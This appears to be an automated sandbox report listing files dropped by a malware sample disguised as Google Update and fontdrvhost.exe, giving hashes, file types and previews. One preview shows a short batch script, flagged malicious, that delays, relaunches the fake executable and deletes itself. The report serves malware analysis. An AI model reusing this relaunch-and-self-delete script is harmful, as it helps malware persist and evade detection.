Preview:	0G0s4uTfW8KglOB7KK3POOthoVJfIo2R7P1KNd34yJEaPvgOw4QNY9ZlXTDjkyXsF3jVX0trR9bEKTR3y5tNXo28zQx4aUTAwVUWML06Kj6ZhUaDBKupEJUaBlfGDzQ7pbSz85qnEwCyscaf0t2Qjo5nB4Vkpt2VS9uGClFGdHlSHfsiLAQT6AXBfoxEkF7U4rfssTcOowwcCnffLwZpdiYRmskXxAgXJQXa99z1hBpJO582JS2xpS1VSOG9sEbnQYSwPFfM7iHb2PDqurOfIsr0ZCHv2zIdkC3zmMnDwqzHLacDKaPBz6fhrcWM7tTHZo00VOEhELsb3jo8kElckHnnhVIKzbFDXrshjmr6Vr6oODoHxYm2I0hSBNSAF4snGpEL1HZ8XoH2K8ZerBWbzM4gJZgWTr0b9Tij8dPp8nfdtpHCxySEhQx3uhBblDppyp20a0fOvqcLqaxeSdieYv3tfpybbxE58zpDxQm7TET0xmMTuhJHeKRCvJVvBEw8mhM1vtqB1lLUcC53cfq4n6byimSo515PRUOQZViB0HQ296ksNbSgX2UpFYSIaCGAq5CHypdH7oDgqjzlCjadiY1ZAiKBCZlxBPLD4c4i8Ljtyy8gjrF1mmbREnHPebEhDPfaXvrjp2fXzHkLjn

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AdbXCBUViTnoVBSsOq.exe.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontdrvhost.exe.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	5.374034001672589
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJH1HzHKlT4vHNp51qHGIs0HKD:iqbYqGSI6oPtzHeqKktVTqZ4vtp5wmjB
MD5:	6594A52AA7EC9BF342D53EF8C5C3F92F
SHA1:	E4439EF0FB0002B8DAD1D7FC4BA598FEE910F4DE
SHA-256:	1BCDE01217E85B5A7304A3DF69926B2B046B11826E3A70E78D220B063DB5EE2B
SHA-512:	29B10494189EFC74EC781413CA1954053EA044EFA879C22EE1FC36D5CD80438F36EA87B7C9C8E0BC5216F13F2DDB893B37E5494A61A8A7DD830A5810A2016A84
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKey

C:\Users\user\AppData\Local\Temp\4lvmN5MENl

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A2vEYebXmT

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A67NMeIxhy

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BQS1omMoER

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EwZcSaKyVq

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GxxkeYPkal

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688185
Encrypted:	false
SSDEEP:	3:1RIOmaBZRcz:vIOmaiz
MD5:	B5D59A733F427DFD771E95CCF4F53776
SHA1:	16FCC0C500891F9E08CF4EB4BD8C41C858127ED7
SHA-256:	F7F3AABFACCC42AA66F713F7CBEE8F8D22E59672D39FCC5E9D3022D60BA5B9B4
SHA-512:	6161970137A3E289EB554BAAEF8FCAB82A7B0C6266B10069BBFC1133123339F411EB8F4984BCE626BAACE1D7668FCF26433B46E4A020246865E285DAAD777645
Malicious:	false
Preview:	I1gwbMGLOmCBfcd9ymyLtyvDd

C:\Users\user\AppData\Local\Temp\J2KyX56Rcf

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:HjUB7UBZQn:DUB7UBZQ
MD5:	061CCB94B797D39887F1B4C2FDAFCB12
SHA1:	E737ED4B6C5C43CF060EB3525F5BECE1876188F7
SHA-256:	BD5F71303CE342D8E83C88D39786331B9651A8190072F63441BBBBBC2FDB4BBB
SHA-512:	25218934648290F7583AB3B90AFBADFE50456830373E1AC56059F483810741996EA08038EBB7C9F4D72682B5EE2116238BC4F05EC78748D2CB5CA8B0B6B0D8EF
Malicious:	false
Preview:	u7FRysAelVWl7rBHSqY5iTI69

C:\Users\user\AppData\Local\Temp\NQQkWS77oU

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Oxa239DNSu

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PcelLUrJfI

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TN0CzsS2Vz

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V9LTlm1A6n

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\VHGrIJe2oz

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dfGSKkZRCQ

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e7yBZipER6

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i4dwQmQ2h6

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l9gqgrl2Sp

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q1nFWhqyfa

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.107669353081284
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m3zX+DoDWCSBktKcKZG1N+E2J5xAIQQdgtgh:hCRLuVFOOr+DEDuUDGKOZG1N723fIe
MD5:	BC3B29D8A0640ED02B2DA0A5FEDB5755
SHA1:	3A49DAC28150D14879E95D06505ACE4DC7C3004B
SHA-256:	869E7F7E16DD2809B5BA0D91030E46275A6261CCE6348FD6AB0B9F6A87682B23
SHA-512:	F2AA8CCCEDEF17237A54ECC2217F2C251F6866B4CF9FE9C5B9887DA5E589C10BD3DB940A10640BAFE94F06A15CB7E02E6077F926374A002952DC4A89B28F4851
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Drivers\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\vK5Z1luEHZ.bat"

C:\Users\user\AppData\Local\Temp\yMxl40p9wV

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BoUXaXGR.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.0168086460579095
Encrypted:	false
SSDEEP:	96:b2+4Af/qPl98sgn8VenjzRR0xXzhZ7BiCTUk9v2G6/7jK6XsBG7hWuP9LfqpW0RQ:gCU8XKb7BDUieGi3jcBgLyB+b
MD5:	69546E20149FE5633BCBA413DC3DC964
SHA1:	29FEB42AB8B563FAFACFD27FAE48D4019A4CBCC2
SHA-256:	B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
SHA-512:	90D5F6C334B8064ED6DD002B03C57CEBBFAC1620D6CB2B79103DB0369D3A4FD82DB092E675F387AB0BDFE20303D9AC37F4E150896FC333E6F83B00269F012236
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
